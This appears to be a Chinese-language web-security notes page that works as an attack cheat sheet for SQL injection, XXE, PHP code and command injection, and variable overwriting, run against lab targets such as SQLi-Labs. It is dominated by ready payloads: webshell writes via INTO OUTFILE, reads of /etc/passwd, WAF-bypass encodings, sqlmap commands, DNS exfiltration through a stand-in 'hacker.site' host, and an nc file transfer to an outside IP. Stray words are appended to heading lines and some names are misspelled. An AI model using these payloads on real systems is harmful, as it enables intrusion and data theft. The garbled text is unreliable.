1)TCP/IP協議-HTTPjavascript
2)經常使用方法-Methodphp
2) HTTP-常見的響應狀態碼*css
SQL注入是直接面對數據庫進行攻擊的。主要有如下幾種危害:html
1.權限較大狀況下,能夠經過SQL注入直接寫入webshell或者直接執行系統命令。html5
2.權限較小狀況下,可經過注入得到管理員權限、拖庫等等java
易發問題點python
SQL注入常常出如今登錄頁面、獲取HTTP頭(user-agent/client-ip等)、訂單處理等地方。登錄頁面主要發生在HTTP頭中的client-ip和x-forward-for,這些通常用來記錄登錄的ip。mysql
注入類型linux
回顯注入git
報錯注入
Boolean盲注
Timing盲注
MySQL內置函數
version() 版本 database() 數據名 user() current_user() 當前登陸用戶 @@datadir 數據庫路徑 @@basedir mysql安裝路徑 @@version_compile_os 操做系統 concat_ws() 將多個字符串鏈接成一個字符串
SQL注入常見後臺拼接語句
1.$sql=」SELECT * FROM users WHERE id=’$id’ LIMIT 0,1」;(需閉合’) 2.$sql=」SELECT * FROM users WHERE id=$id LIMIT 0,1」; 3.$sql=」SELECT * FROM users WHERE id=(‘$id’) LIMIT 0,1」;(需閉合’)) 4.$id = ‘」’ . $id . ‘」’; $sql=」SELECT * FROM users WHERE id=($id) LIMIT 0,1」; 即$sql=」SELECT * FROM users WHERE id=(「$id」) LIMIT 0,1」;(需閉合」),此時你輸入’不會報錯) 5.$sql=」SELECT * FROM users WHERE id=((‘$id’)) LIMIT 0,1」;(少見)
MySQL5注入枚舉數據庫步驟
# 獲取數據庫 select * from users where id='1' and 1=2 union select 1,schema_name,3 from information_schema.schemata limit 0(開始的記錄,0爲第一個開始記錄),1(顯示1條記錄)--+ # 獲取表名 select * from users where id='1' and 1=2 union select 1,2,table_name from information_schema.tables where table_schema='數據庫名字'(最經常使用的是十六進制表示的數據庫,’容易被過濾) limit 3,1--+ # 獲取列名 select * from users where id='1' and 1=2 union select 1,2,column_name from information_schema.columns where table_schema=0x十六進制數據庫 and table_name=0x十六進制表 limit 0,1--+ # 獲取內容 select * from users where id='1' and 1=2 union select 1,2,concat_ws(char(32,58,32),username,password)(concat_ws用法:分割符,列名) from users(表名) limit 0,1--+ ascii碼中32是空格,58是:
注入剖析
有回顯,能夠看到某些字段的回顯結果(一般)
猜解出字段數目
最方便的注入方式就是使用Union語句填充查詢結果,額外執行一次查詢
select * from news where id = 1 union select 1,2,3,4;
無正常回顯時報錯注入。
# floor() 語句: and (select 1 from (select count(*),concat(char(0x7E),(select user()),char(0x7E),floor(rand(0)*2))x from information_schema.tables group by x)a)--+ # updatexml() 語句: and (updatexml(1,concat(0x3a,(select user())),1)); # ExtractValue() 和upadtexml()用法差很少語句: and extractvalue(1, concat(0x5c, (select user())));
在沒有數據回顯的狀況下,能夠存在不一樣的頁面內容回顯
一般逐個爆破猜解,效率偏低
思路:利用回顯的不一樣推測SQL語句執行的結果是True仍是False
# SQLi-Labs Less 11 Payload: admin' and password>'adm123' # HTTP REQUEST POST /Less-11/ HTTP/1.1 Host: localhost Content-Length: 67 Cache-Control: max-age=0 Origin: http://localhost Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 Referer: http://localhost/Less-11/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close uname=admin' and password>'adm§123§'#&passwd=asd&submit=Submit # 實際執行 SELECT username, password FROM users WHERE username='admin' and password>'ad8'#' and password='asd' LIMIT 0,1
頁面不存在不一樣回顯,但SQL語句被執行
逐個爆破猜解+時間延遲,效率最低
利用:if (query=True) delay(1000);else pass;的程序邏輯,經過觀察是否發生了時間延遲來推測SQL語句的執行狀況是否爲True
payload:
If(ascii(substr(database(),1,1))>115,0,sleep(5))%23 //if 判斷語句,條件爲假,執行sleep
截取字符串相關函數:
length(str):返回str字符串的長度。 substr(str, pos, len):將str從pos位置開始截取len長度的字符進行返回。注意這裏的pos位置是從1開始的,不是數組的0開始 mid(str,pos,len):跟上面的同樣,截取字符串 ascii(str):返回字符串str的最左面字符的ASCII代碼值。 ord(str):同上,返回ascii碼 if(a,b,c) :a爲條件,a爲true,返回b,不然返回c,如if(1>2,1,0),返回0 left(database(),1) 取database字符串的左邊第一個沒法報錯注入,嘗試盲注
SQL注入示例
# 測試Pyaload ' and 1=1 ‘ and 1=2 ') and 1=1 '--+ "--+ '/**/and/**/1=1%23 # 讀取數據庫 http://localhost//Less-1/index.php?id=1' and 1=2 union select 1,2,schema_name from information_schema.schemata limit 0,1 %23 +--------------------+ | Database | +--------------------+ | information_schema | | challenges | | mysql | | performance_schema | | security | | test | +--------------------+ # 讀取數據庫表名 http://localhost//Less-1/index.php?id=1' and 1=2 union select 1,2,table_name from information_schema.tables where table_schema='security' limit 0,1 %23 +--------------------+ | Tables_in_security | +--------------------+ | emails | | referers | | uagents | | users | +--------------------+ # 獲取列名 http://localhost//Less-1/index.php?id=1' and 1=2 union select 1,2,column_name from information_schema.columns where table_name='users' limit 0,1--+ +----+----------+----------+ | id | username | password | +----+----------+----------+ # 獲取內容 http://localhost//Less-1/index.php?id=1' and 1=2 union select 1,2,concat_ws(char(32,58,32),username,password) from users limit 0,1--+ # 報錯注入 http://localhost//Less-1/index.php?id=1' and (updatexml(1,concat(0x7e,(select user())),1)) %23 http://localhost//Less-1/index.php?id=1' and (updatexml(1,concat(0x7e,(select username from users limit 2,1)),1)) %23
文件讀寫
讀取敏感文件,權限較大時,能夠直接寫shell
@@basedir 獲取MySQL位置 load_file() :讀取文件 into dumpfile():導出文件 into outfile() :導出文件
# 先嚐試可否得到路徑,不能的話,就嘗試經常使用的路徑 http://localhost/Less-1/index.php?id=1' and 1=2 union select 1,2,@@basedir%23 # 讀取密碼文件 http://localhost/Less-1/index.php?id=1' and 1=2 union select 1,2,load_file(‘/etc/passwd’)%23 # 變換形式 - ascii編碼 - 轉換方法 mysql> select conv(hex('D'),16,10); +----------------------+ | conv(hex('D'),16,10) | +----------------------+ | 68 | +----------------------+ 1 row in set (0.00 sec) - 轉換形式 解碼 mysql> select char(68,58,92,92,84,69,83,84,46,116,120,116); +----------------------------------------------+ | char(68,58,92,92,84,69,83,84,46,116,120,116) | +----------------------------------------------+ | D:\\TEST.txt | +----------------------------------------------+ - Payload http://localhost/Less-1/index.php?id=1' and 1=2 union select 1,2,load_file(char(68,58,92,92,84,69,83,84,46,116,120,116))%23 # 變換形式 - hex編碼 - 轉換方法 mysql> select hex("D:\\test.txt"); +------------------------+ | hex("D:\\test.txt") | +------------------------+ | 443A5C746573742E747874 | +------------------------+ 1 row in set (0.00 sec) - 轉換形式 解碼 mysql> SELECT X'443A5C746573742E747874'; +---------------------------+ | X'443A5C746573742E747874' | +---------------------------+ | D:\test.txt | +---------------------------+ 1 row in set (0.00 sec) - Payload 16進制編碼導出文件內容到網頁可訪問頁面,從而獲取數據 http://localhost/Less-1/index.php?id=1'/**/and/**/1=2/**/union/**/select/**/1,load_file(0x443A5C746573742E747874)%23
file_name處要指定絕對路徑,不然就會導出到mysql的目錄下。同時對需導出的目錄有可寫權限。
SELECT * INTO OUTFILE 'file_name’ SELECT * INTO DUMPFILE ‘file_name’
獲取Webshell的前提是知道網站的絕對物理路徑,這樣導出後的webshell可訪問
select "<?php eval($_POST['z']);?>" into outfile'D:/web/shell.php'; # Tips: secure-file-priv這個參數限制了outfile、dumpfile的導入導出權限。使用show命令能夠看到secure_file_priv的配置。 mysql> show global variables like '%secure%'; +------------------+-------+ | Variable_name | Value | +------------------+-------+ | secure_auth | OFF | | secure_file_priv | NULL | +------------------+-------+ - 當Null的時候,表示限制MySQL的導入|導出 - 當爲某個根目錄的時候,表示限制爲只能在指定目錄導入|導出 - 當沒有具體值得時候,表示不對導入|導出的目錄限制
Waf繞過
# 應對 簡單的將select、or等關鍵字替換爲空字符串的防護 # payload seselectlectfrom 、where username='x' OorR1=1
# 應對 簡單的區分大小寫的關鍵字匹配,好比php中preg_match函數沒有加/i參數 # payload SelecT,Or
•ASCII: 例如admin能夠用char(97)+char(100)+char(109)+char(105)+char(110)代替 select * from users where username=(char(97)+char(100)+char(109)+char(105)+char(110)) select * from users where username=char(97,100,109,105,110); •16進制: mysql> select extractvalue(0x3C613E61646D696E3C2F613E,0x2f61); +-------------------------------------------------+ | extractvalue(0x3C613E61646D696E3C2F613E,0x2f61) | +-------------------------------------------------+ | admin | +-------------------------------------------------+ 1 row in set (0.00 sec) •unicode編碼: 單引號——%u0027 、%u02b九、%u02bc、%u02c八、%u203二、%uff07 •URL編碼: or 1=1——%6f%72%20%31%3d%31
Or <------------> ||、and <--------> && 空格被限制:select(username)from(admin) 科學計數法繞過:where username=1e1union select mysql> select * FROM users where username=1e1union select 1,2,3; +----+----------+----------+ | id | username | password | +----+----------+----------+ | 1 | 2 | 3 | +----+----------+----------+ =、<、>被限制:where id in (1,2)、where id between 1 and 三、like access中使用dlookup繞過select from被限制:(user=12',info=dlookup('[user]','userinfo','[id]=1')%00)
空格被限制:/**/、%a0、%0a、%0d、%0九、tab.... 內聯註釋:select 1 from /*!admin*/ /*!union*/ select 2, mysql> select * FROM users where id = 1 /*!and 1=2*/ /*!union*/ select 1,2,3; +----+----------+----------+ | id | username | password | +----+----------+----------+ | 1 | 2 | 3 | +----+----------+----------+ 1 row in set (0.00 sec) MYSQL對%00不會截斷:se%00lect 單一%號,在asp+iis中會被忽略:sel%ect ``mysql反引號之間的會被當作註釋內容
攻擊者將惡意SQL語句插入到數據庫中,程序對數據庫內容毫無防備,直接帶入查詢。
對來自於內部的輸入輸出過於信任。
不少程序使用gbk編碼的狀況下,和unicode編碼的組成形式不一樣形成這樣的漏洞。
當數據庫使用了寬字符集(如GBK),會將一些兩個字符單作一個字符,如:0xbf2七、0xbf5c
反斜槓是0x5c,使用addslashes()等轉義函數在處理輸入時會將'、、」這些字符用反斜槓轉義,輸入0xbf27,轉之後變成了0xbf5c27,5c被當作了漢字一部分,單引號0x27逃逸出來。前提條件是前一個ascii碼要大於128,纔到漢字的範圍。
# SQLi-Labs Less32測試語句 http://localhost/Less-32/index.php?id=1%df%27 and 1=2 union select 1,2,3--+ 以上語句在MySQL中查詢其實已經變成了一個漢字,單引號逃逸了出來。由於’被轉義成\’,而前面的%df與轉義符號\(%5c)組合成了%df%5c,即運字。從而吃掉了\,致使單引號能夠閉合 # 實際查詢語句 SELECT * FROM users WHERE id='1運' and 1=2 union select 1,2,3-- ' LIMIT 0,1
SQL Server的DNS注入和MySQl稍有不容,但都是利用了SMB協議。其中的.hacker.site是搭建的DNS域名服務器的地址。
http://ceye.io 是提供DNS傳輸服務的網址。
select load_file(concat('\\',version(),'.hacker.site\a.txt')); select load_file(concat(0x5c5c5c5c,version(),0x2e6861636b65722e736974655c5c612e747874));
SQLMAP經常使用參數
python sqlmap.py -r ~/Desktop/sqlmap.txt --level 3 --risk 3
python sqlmap.py -u "http://localhost//Less-11//index.php" --data="uname=admin&passwd=11" --level 3 --risk 3
sqlmap.py -u "http://localhost/vulnerabilities/fu1.php?id=1" --level 5 --risk 3 --file-read /tmp/key
python sqlmap.py -u "http://localhost//Less-11//index.php" --data="uname=admin&passwd=11" --level 3 --risk 3 -v --tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py # 讀取庫、表、列 sqlmap.py -u "" --dbs --level 5 --risk 3 -v 3 --tamper tamper/radomcase.py,tamper/space2comment.py,tamper/space2mysqldash.py --technique BEST --threads 10 # 讀取文件 sqlmap.py -u "" --file-read "" --tamper tamper/radomcase.py,tamper/space2comment.py,tamper/space2mysqldash.py --technique BEST --threads 10
手動繞過
多個關鍵字替換
http://localhost//vulnerabilities/fu1.php?id=1%27)/**/anandd/**/1=2/**/uniunionon/**/select/**/1,2,load_file(%27/tmp/360/key%27),4%23 http://localhost//vulnerabilities/fu1.php?id=1%27)/**/anandd/**/1=2/**/uunionnion/**/select/**/1,2,3,4,5,6,7/**/anandd/**/(%27 http://localhost/vulnerabilities/fu1.php?id=1')/**/aandnd/**/1=2/**/uunionnion/**/select/**/1,2,load_file('/etc/passwd'),4,5,6,7/**/anandd/**/('
SQL注入防護
字符串拼接形式:
過濾單引號、雙引號、反斜槓等等關鍵詞 轉義:addslashes、mysqli_real_escape_string
使用pdo:
在PHP5.3.6及如下版本須要設置setAttribute(PDO::ATTR_EMULATE_PREPARES,false);來禁用preparedstatement仿真效果
基礎知識
XML(Extensible Markup Language)被設計用來傳輸和存儲數據。
文檔類型定義:DTDwikipedia關於這的描述是:The XML DTD syntax is one of several XML schema languages。DTD的做用是定義XML文檔的合法構建模塊。實體也是構建模塊之一。所以能夠利用DTD來內部或外部引入實體。經過引用定義在外部的DTD中的實體,咱們稱之爲外部實體。
<!DOCTYPE 根元素名 [元素描述]>
內部引用
<!ENTITY 實體名稱 "實體的值">
外部引用
<!ENTITY 實體名稱 SYSTEM "URI">
SimpleXML 函數 simplexml_import_dom — 從DOM節點獲取SimeXMLEngle對象 simplexml_load_file — 將XML文件解釋爲對象 simplexml_load_string — 將XML字符串解釋爲對象
函數演示:
<?php $dom = new domDocument; $dom->loadXML('<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root [<!ENTITY file "Hello World!" >]> <root> <info>&file;</info> </root>'); $xml = simplexml_import_dom($dom); echo $xml->info; ?>
訪問該XML文檔,&file;會被解析爲Hello World!並輸出。
利用方式
利用文件協議讀取本地文件,好比file協議。
libxml2 | PHP | Java | .NET |
---|---|---|---|
file | file | http | file |
http | http | https | http |
ftp | ftp | ftp | https |
php | file | ftp | |
compress.zlib | jar | ||
compress.bzip2 | netdoc | ||
data | mailto | ||
glob | gopher | ||
phar |
file協議讀取文件示例:
POST /api/v1.0/try HTTP/1.1 Host: web.jarvisoj.com:9882 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Accept: */* Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: application/xml Referer: http://web.jarvisoj.com:9882/ Content-Length: 175 Cookie: __cfduid=d5003f0545042bbe0fbc573cda35051f71472823285; UM_distinctid=15abdd622a49f-02e5d4fef34197-7f682331-100200-15abdd622a5cf; role=s%3A5%3A%22guest%22%3B; hsh=3a4727d57463f122833d9e732f94e4e0 Connection: close <?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE netspi [<!ENTITY xxe SYSTEM "file:////home/ctf/flag.txt" >]> <root> <search>name</search> <value>&xxe;</value> </root>
漏洞代碼:
<?php # Enable the ability to load external entities libxml_disable_entity_loader (false); show_source(__FILE__); $xmlfile = file_get_contents('php://input'); //接受POST請求 echo '<br>'; if(strlen($xmlfile)>0){ $dom = new DOMDocument(); $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); // this stuff is required to make sure $creds = simplexml_import_dom($dom); //解析xml $user = $creds->user; $pass = $creds->pass; echo "You have logged in as user $user"; } ?>
若是要讀取php文件,由於php、html等文件中有各類括號<,>,若直接用file讀取會致使解析錯誤,此時能夠利用php://filter將內容轉換爲base64後再讀取。
php://filter/read=convert.base64encode/rsource=
Payload:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root [ <!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=flag.php" > ]> <root> <user>&file;</user> <pass>mypass</pass> </root> # 讀取passwd文件 <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]> <root> <user>&xxe;</user> <pass>mypass</pass> </root>
其餘攻擊方式
php環境下,xml命令執行要求php裝有expect擴展。
<?php $xml = <<<EOF <?xml version = "1.0"?> <!DOCTYPE ANY [ <!ENTITY f SYSTEM "except://ls"> # id ]> <x>&f;</x> EOF; $data = simplexml_load_string($xml); print_r($data); ?>
因爲xml實體注入攻擊能夠利用http://協議發起http請求。因此能夠利用該請求去探查內網進行SSRF攻擊。
<?php $xml = <<<EOF <?xml version = "1.0"?> <!DOCTYPE ANY [ <!ENTITY f SYSTEM "http://192.168.1.1:80/"> ]> <x>&f;</x> EOF; $data = simplexml_load_string($xml); print_r($data); ?>
xxe漏洞防護
配置XML處理器去使用本地靜態的DTD,不容許XML中含有任何本身聲明的DTD。經過設置相應的屬性值爲false,XML外部實體攻擊就可以被阻止。可將外部實體、參數實體和內聯DTD 都被設置爲false,避免基於XXE漏洞的攻擊。
應用有時須要調用一些執行系統命令的函數,如PHP中的system、exec、shell_exec、passthru、popen、proc_popen等,當用戶能控制這些函數中的參數時,就能夠將惡意系統命令拼接到正常命令中,從而形成命令執行攻擊。
漏洞觸發點
程序過濾不嚴謹,致使用戶能夠將代碼注入並執行。高危函數:eval()、assert()、preg_replace()、call_user_func()....
文件包含注射,當allow_url_include=On ,PHP Version>=5.2.0 時,致使代碼注射。高危函數:include()、include_once()、require()、require_once()
對於執行命令的函數,參數過濾不嚴謹,致使直接命令執行。高危函數:system()、exec()、shell_exec()、passthru()、pctnl_exec()、popen()、proc_open()4.其餘:反引號(`)可正常執行命令,實質是調用shell_exec()函數
漏洞代碼
eval和assert函數這兩個函數本來做用用於動態執行代碼。
<?php error_reporting(0); show_source(__FILE__); $a = @$_REQUEST['hello']; eval("var_dump($a);");
Payload:
# windows http://localhost/eval/index.php?hello=);eval($_GET['A']);//&A=system('whoami'); # linux http://localhost/eval/index.php?hello=11);eval($_GET['c']);//&c=system('cat /etc/passwd'); # 一句話webshell http://localhost/eval/index.php?hello=11);eval($_POST['c']);%2f%2f
preg_replace函數用於對字符串進行正則處理,搜索\(subject中匹配\)pattern的部分,以\(replacement替換。當pattern中存在/e模式修飾符,即\)replacement會被當作PHP代碼來執行。
函數原型:
mixed preg_replace(mixed $pattern, mixed $replacement,mixed $subject [, int $limit = -1 [,int&$count]] )
漏洞代碼:
<?php error_reporting(0); show_source(__FILE__); preg_replace("/\[(.*)\]/e","\\1",$_GET['str']);
Payload:
正則的意思是從$_GET[‘str’]變量裏搜索中括號[]中間的內容做爲第一組結果,preg_replace函數第二個參數爲‘\1’表明這裏用第一組結果填充,這裏是能夠直接執行代碼的。
http://localhost/learn/preg.php?str=[phpinfo()]
文件包含函數在特定條件下的代碼注射,如include()、include_once()、require()、require_once()。當allow_url_include=On ,PHP Version>=5.2.0 時,致使代碼注射。
<?php error_reporting(0); show_source(__FILE__); include($_GET['a']);
Payload:
# 本地文件包含 http://localhost/learn/include.php?a=../phpinfo.php # data:text/plain http://localhost/learn/include.php?a=data:text/plain,<?php phpinfo();?> - data:text/plain base64形式 http://202.112.51.130/learn/include.php?a=data:text/plain;base64,PD9waHAKcGhwaW5mbygpOwo/Pg== # php://僞協議>> 訪問各個輸入/輸出流 http://localhost/learn/include.php?a=php://filter/convert.base64-encode/resource=/etc/passwd 解開base64就獲得原文 Tips:當head頭有enctype=」multipart/form-data」 時,該僞協議無效。 # php://input形式 當hackbar發不出數據包,就用burpsuite構造數據包,實現一句話webshell效果 POST /learn/include.php?a=php://input HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:55.0) Gecko/20100101 Firefox/55.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Cookie: PHPSESSID=4ln93lscu4sqfcn9je3u2660q2 DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 22 <?php system('pwd');?>
高危函數:system()、exec()、shell_exec()、passthru()、pctnl_exec()、popen()、proc_open()、system()—執行shell命令也就是向dos發送一條指令。
shell_exec()—經過shell環境執行命令,而且將完整的輸出以字符串的方式返回。
exec()—執行外部程序
passthru()—執行外部程序而且顯示原始輸出系統命令。
經過|、&、||起到命令鏈接的做用,利用輸入時的合理構造可使想要執行的命令和本來命令鏈接執行。
<?php error_reporting(0); show_source(__FILE__); $dir = $_GET["dir"]; if(isset($dir)) { echo "<pre>"; system("net user ".$dir); //漏洞函數 echo "</pre>"; } ?>
Payload:
http://localhost/system.php?dir=|whoami
<?php error_reporting(0); show_source(__FILE__); $a=$_GET['a']; echo `$a`; //反引號被解析
Payload:
http://localhost/learn/fan.php?a=ls
<?php if(isset($_REQUEST[ 'ip' ])) { $target = trim($_REQUEST[ 'ip' ]); $substitutions = array( '&' => '', ';' => '', '|' => '', '-' => '', '$' => '', '(' => '', ')' => '', '`' => '', '||' => '', ); $target = str_replace( array_keys( $substitutions ), $substitutions, $target ); $cmd = shell_exec( 'ping -c 4 ' . $target ); echo $target; echo "<pre>{$cmd}</pre>"; } show_source(__FILE__);
Payload:
當過濾了特殊符號,能夠用換行符號的方法繞過繼續執行命令。換行測試方法 %0a
http://localhost/ping/index.php?ip=127.0.0.1%0Acat index.php
繞過方法
一、查看文件內容: cat [file] tac [file] more [file] less [file] head [file] tail [file] 二、改變key.php的文件後綴 mv 1.php 1.txt cp 1.php 1.txt tar: tar -cf 打包後的文件名 打包文件名 三、文件處理: grep '關鍵字' [file_path] awk '{print $0}' [file_path] 四、查看命令是否存在: which ls 五、下載命令: 本地機器:Python -m SimpleHTTPServer 目標機器 curl -o linux.php http://www.linux.com/text.php wget -O 保存的文件名.zip http://www.test.net/download.aspx 六、過濾cat,那麼嘗試經過管道命令利用NC發送文件。 本機執行:nc -lvv -p 4444 遠程機器執行:nc 172.168.0.27 4444 < ../key.php
變量覆蓋指的是用自定的參數值來替換程序原有的變量值,變量覆蓋漏洞一般須要結合程序其餘功能進行利用。大多由函數使用不當致使,主要有如下幾個函數:
$$,extract(),parse_str(),import_request_variables()等。
開啓了全局變量註冊也容易致使變量覆蓋。
使用foreach來遍歷數組中的值,而後再將獲取到的數組鍵名做爲變量,數組中的鍵值做爲變量的值。所以就產生了變量覆蓋漏洞。
漏洞代碼:
<?php header("Content-Type: text/html;charset=utf-8"); error_reporting(0); show_source(__FILE__); include "flag.php"; $_403 = "Access Denied"; $_200 = "Welcome Admin"; if ($_SERVER["REQUEST_METHOD"] != "POST") die("CTF is here :p..."); if ( !isset($_POST["flag"]) ) die($_403); foreach ($_GET as $key => $value) $$key = $$value; // 變量覆蓋 foreach ($_POST as $key => $value) $$key = $value; //$$ if ( $_POST["flag"] !== $flag ) die($_403); //方法2:出現flag的關鍵位置 echo "This is your flag : ". $flag . "\n"; die($_200); //方法1:出現flag的關鍵位置 ?>
代碼分析
題目中兩個foreach
使用了$$
產生變量覆蓋問題,知足條件後會將$flag
裏面的值打印出來。題目有三個if判斷語句,當知足第一個if判斷語句的條件,可使用覆蓋$_200
或$403
的方法打印出$flag
變量的值。die($_200)
或 die($_403)
是能夠將$flag
打印出來的地方。
Payload:
POST /shell.php?_200=flag HTTP/1.1 Host: localhost Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: XDEBUG_SESSION=PHPSTORM Connection: close Content-Length: 6 flag=1
POST /shell.php?_403=flag&_POST=1 HTTP/1.1 Host: localhost Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: XDEBUG_SESSION=PHPSTORM Connection: close Content-Length: 6 flag=1
extract() 該函數使用數組鍵名做爲變量名,使用數組鍵值做爲變量值。針對數組中的每一個元素,將在當前符號表中建立對應的一個變量。
題目使用了**extract($_GET)接收了GET請求中的數據,並將鍵名和鍵值轉換爲變量名和變量的值,而後再進行兩個if 的條件判斷,因此可使用GET提交參數和值,利用extract()**對變量進行覆蓋,從而知足各個條件。
<?php $flag = "xxx"; extract($_GET); if (isset($gift)) { $content = trim(file_get_contents($flag)); if ($gift == $content) { echo "hctf{xx}"; } else { echo "Oh.."; } } ?>
Payload:
http://localhost//shell.php?flag=&gift=
若是 encoded_string 是 URL 傳遞入的查詢字符串(query string),則將它解析爲變量並設置到當前做用域(若是提供了 result 則會設置到該數組裏 )。
void parse_str ( string $encoded_string [, array &$result ] ) encoded_string 輸入的字符串。 result 若是設置了第二個變量 result, 變量將會以數組元素的形式存入到這個數組,做爲替代。
漏洞代碼
<?php header("Content-Type: text/html;charset=utf-8"); error_reporting(0); if (empty($_GET['id'])) { show_source(__FILE__); die(); } else { include (‘flag.php’); $a = 「www.CTF.com」; $id = $_GET['id']; @parse_str($id); if ($a[0] != ‘QNKCDZO’ && md5($a[0]) == md5(‘QNKCDZO’)) { echo $flag; } else { exit(‘其實很簡單其實並不難!’); } } ?>
分析:
代碼首先要求使用GET提交id參數,而後parse_str($id)對id
參數的數據進行處理,再使用判斷$a[0] != ‘QNKCDZO’ && md5($a[0]) == md5(‘QNKCDZO’)
的結果是否爲真,爲真就返回flag。
md5(‘QNKCDZO’)
的結果是0e830400451993494058024219903391
若是要知足if判斷 if ($a[0] != ‘QNKCDZO’ && md5($a[0]) == md5(‘QNKCDZO’))
就須要利用php弱語言特性。
Payload:
PHP在處理哈希字符串時,會利用」!=」或」==」來對哈希值進行比較,它把每個以」0E」開頭的哈希值都解釋爲0,因此若是兩個不一樣的密碼通過哈希之後,其哈希值都是以」0E」開頭的,那麼PHP將會認爲他們相同,都是0。
GET請求id=a[0]=240610708,這樣會將a[0]的值覆蓋爲240610708,而後通過md5後獲得0e462097431906509019562988736854與md5(‘QNKCDZO’)的結果0e830400451993494058024219903391比較都是0 因此相等,知足條件。 # MD5加密後,以0e開頭的值 QNKCDZO 0e830400451993494058024219903391 s878926199a 0e545993274517709034328855841020 s155964671a 0e342768416822451524974117254469 s214587387a 0e848240448830537924465865611904 s214587387a 0e848240448830537924465865611904 s878926199a 0e545993274517709034328855841020 s1091221200a 0e940624217856561557816327384675 s1885207154a 0e509367213418206700842008763514 s1502113478a 0e861580163291561247404381396064 s1885207154a 0e509367213418206700842008763514 s1836677006a 0e481036490867661113260034900752 s155964671a 0e342768416822451524974117254469 s1184209335a 0e072485820392773389523109082030 s1665632922a 0e731198061491163073197128363787 s1502113478a 0e861580163291561247404381396064 s1836677006a 0e481036490867661113260034900752 s1091221200a 0e940624217856561557816327384675 s155964671a 0e342768416822451524974117254469 s1502113478a 0e861580163291561247404381396064 s155964671a 0e342768416822451524974117254469 s1665632922a 0e731198061491163073197128363787 s155964671a 0e342768416822451524974117254469 s1091221200a 0e940624217856561557816327384675 s1836677006a 0e481036490867661113260034900752 s1885207154a 0e509367213418206700842008763514 s532378020a 0e220463095855511507588041205815 s878926199a 0e545993274517709034328855841020 s1091221200a 0e940624217856561557816327384675 s214587387a 0e848240448830537924465865611904 s1502113478a 0e861580163291561247404381396064 s1091221200a 0e940624217856561557816327384675 s1665632922a 0e731198061491163073197128363787 s1885207154a 0e509367213418206700842008763514 s1836677006a 0e481036490867661113260034900752 s1665632922a 0e731198061491163073197128363787 s878926199a 0e545993274517709034328855841020
一、漏洞危害
二、基礎知識
1)Cookie的工做方式
XSS漏洞的主流利用方式是獲取用戶的Cookie執行一系列的操做。
Cookie的基本通訊流程:
1.設置cookie 2.cookie被自動添加到request header中 3.服務端接收到cookie
須要理解的問題:
1.什麼樣的數據適合放在cookie中 對於設置「每次請求都要攜帶的信息(身份認證信息)」特別適合存放在cookie中。 2.cookie是怎麼設置的 每一個cookie都有必定的屬性,如何時失效,要發送到哪一個域名,哪一個路徑等等。這些屬性是經過cookie選項來設置的,cookie選項包括:expires、domain、path、secure、HttpOnly。在設置任一個cookie時均可以設置相關的這些屬性。代碼示例以下: "SESSIONID=e6f5cad435dc6a;expires=Thu,27Feb201705:21:00GMT;domain=www.xxx.com;path=/;secure;HttpOnly 3.cookie爲何會自動加到request hearder中 存儲cookie是瀏覽器提供的功能,cookie是存儲在瀏覽器中的純文本。當網頁要發HTTP請求時,瀏覽器會先檢查是否有相應的cookie,有則自動添加到request hearder中的cookie字段中。這是瀏覽器自動作的。 4.cookie怎麼增刪改查 cookie既能夠由服務端來設置,也能夠由客戶端來設置。 cookie選項包括:expires、domain、path、secure、HttpOnly。 expires選項用來設置「cookie什麼時間內有效」。expires實際上是cookie失效日期,對於失效的cookie瀏覽器會清空。若是沒有設置該選項,則默認有效期爲session,即會話cookie。這種cookie在瀏覽器關閉後就沒有了。 secure選項用來設置cookie只在確保安全的請求中才會發送。當請求是HTTPS或者其餘安全協議時,包含secure選項的cookie才能被髮送至服務器。 HttpOnly用來設置cookie是否能經過js去訪問。 默認狀況下,客戶端是能夠經過js代碼去訪問(包括讀取、修改、刪除等)這個cookie的。當cookie帶httpOnly選項時,客戶端則沒法經過js代碼去訪問(包括讀取、修改、刪除等)
2)瀏覽器的解析方式
語言的解析通常分爲詞法分析(lexical analysis)和語法分析(Syntax analysis)兩個階段,WebKit中的html解析也不例外,本文主要討論詞法分析。
詞法分析的任務是對輸入字節流進行逐字掃描,根據構詞規則識別單詞和符號,分詞。
